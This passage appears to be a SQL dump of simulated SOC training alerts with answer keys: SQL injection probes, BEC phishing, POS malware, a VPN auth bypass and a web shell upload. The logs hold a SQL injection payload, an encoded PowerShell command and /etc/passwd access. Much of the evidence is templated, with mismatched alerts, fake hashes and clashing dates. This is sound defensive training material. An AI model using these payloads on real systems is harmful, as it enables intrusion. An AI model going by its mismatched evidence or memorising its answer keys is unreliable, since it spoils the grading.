'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.512Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:30:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"45.33.32.156\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"hostname\\\":\\\"webserver.ecommerce.com\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(851, 'Suspicious Login Attempt from Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts detected for a user account from an unusual foreign IP address.', 'Credential Attack', 'T1078', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T12:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.234.217.40\",\"username\":\"john.smith\",\"hostname\":\"auth.retailcorp.com\",\"failed_attempts\":15}', '2026-01-14 15:31:54', '2026-02-16 16:54:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.234.217.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with suspicious login activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP is known for suspicious activity, and the user reported unexpected login attempts.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.513Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.234.217.40\\\",\\\"username\\\":\\\"john.smith\\\",\\\"hostname\\\":\\\"auth.retailcorp.com\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(852, 'BEC Attempt Detected with CEO Impersonation', 'high', 'Proofpoint', 'An email attempting to impersonate the CEO was detected. The email requested a wire transfer to an unfamiliar account.', 'Phishing', 'T1566', 1, 'Closed', 297, '{\"timestamp\":\"2026-01-14T08:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"195.154.200.25\",\"username\":\"finance@retailcorp.com\",\"hostname\":\"mailserver.retailcorp.com\",\"email_sender\":\"ceo@reta1lcorp.com\",\"email_subject\":\"Urgent: Wire Transfer Request\"}', '2026-01-14 15:31:54', '2026-03-15 11:50:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"195.154.200.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple BEC attempts\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"ceo@reta1lcorp.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Spoofed domain used for CEO impersonation\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email used a lookalike domain to impersonate the CEO for financial fraud.\"}', 'Beginner', 'CORE', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"BEC Attempt Detected with CEO Impersonation\",\"date\":\"2026-02-01T20:32:22.515Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(853, 'Malware Execution Detected on POS System', 'critical', 'CrowdStrike', 'Suspicious process execution detected on a POS system. The process is associated with known POS malware.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T10:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.75\",\"hostname\":\"pos-terminal-01\",\"command_line\":\"C:\\\\Windows\\\\system32\\\\posmalware.exe\",\"file_hash\":\"3a4b1c2d5e6f7g8h9i0j1k2l3m4n5o6p\"}', '2026-01-14 15:31:54', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal POS terminal\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\system32\\\\posmalware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known POS malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a4b1c2d5e6f7g8h9i0j1k2l3m4n5o6p\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as POS malware variant\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash and command line match known POS malware signatures.\"}', 'Beginner', 'EDR', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(854, 'False Positive: Legitimate QR Code Scanning Detected', 'low', 'IDS', 'A QR code scanning event was detected. The activity was identified as part of a legitimate marketing campaign.', 'Web Request', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-14T13:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.100.100\",\"hostname\":\"qrscanner.retailcorp.com\",\"url\":\"https://marketing.retailcorp.com/qrcampaign\"}', '2026-01-14 15:31:54', '2026-03-05 22:34:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with marketing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://marketing.retailcorp.com/qrcampaign\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL verified as part of a legitimate marketing campaign\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The URL and source IP are associated with a legitimate marketing campaign.\"}', 'Beginner', 'TI', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.517Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"192.168.100.100\\\",\\\"hostname\\\":\\\"qrscanner.retailcorp.com\\\",\\\"url\\\":\\\"https://marketing.retailcorp.com/qrcampaign\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(855, 'False Positive: Unusual Network Traffic from Internal Server', 'medium', 'Firewall', 'An internal server generated unusual network traffic. Further analysis confirmed this is part of a scheduled data backup.', 'Data Exfil', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T14:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.50.10\",\"dst_ip\":\"10.0.0.20\",\"hostname\":\"backupserver.retailcorp.com\"}', '2026-01-14 15:31:54', '2026-02-26 22:00:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.50.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal server used for scheduled backups\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal backup destination\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Network traffic matched scheduled backup patterns, confirming false positive.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(856, 'Initial Access via VPN Authentication Bypass', 'high', 'SIEM logs from VPN appliances', 'Hafnium exploits authentication bypass vulnerabilities in Pulse Secure, Fortinet, and Citrix VPNs to establish initial access to targeted networks.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:45Z\",\"vpn_appliance\":\"Pulse Secure\",\"event_type\":\"authentication_bypass\",\"src_ip\":\"185.92.220.45\",\"internal_ip\":\"192.168.10.22\",\"username\":\"admin\",\"session_id\":\"93fj29fj2\",\"vulnerability_exploited\":\"CVE-2021-22893\",\"file_accessed\":\"/etc/passwd\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Hafnium activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with suspicious activity but not conclusively malicious.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"clean\",\"details\":\"Commonly used administrative account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.519Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"vpn_appliance\\\":\\\"Pulse Secure\\\",\\\"event_type\\\":\\\"authentication_bypass\\\",\\\"src_ip\\\":\\\"185.92.220.45\\\",\\\"internal_ip\\\":\\\"192.168.10.22\\\",\\\"username\\\":\\\"admin\\\",\\\"session_id\\\":\\\"93fj29fj2\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-22893\\\",\\\"file_accessed\\\":\\\"/etc/passwd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(857, 'Web Shell Deployment for Remote Execution', 'high', 'Web server logs', 'Hafnium has deployed a web shell on a compromised web server to execute commands remotely. This is a typical step used by adversaries to maintain persistence and control over the system.', 'Execution', 'T1505.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"http_method\":\"POST\",\"uri\":\"/uploads/shell.jsp\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"status_code\":200,\"response_size\":512,\"username\":\"webadmin\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium IP address used in previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal web server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"shell.jsp\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Web shell used for remote execution.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known web shell.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 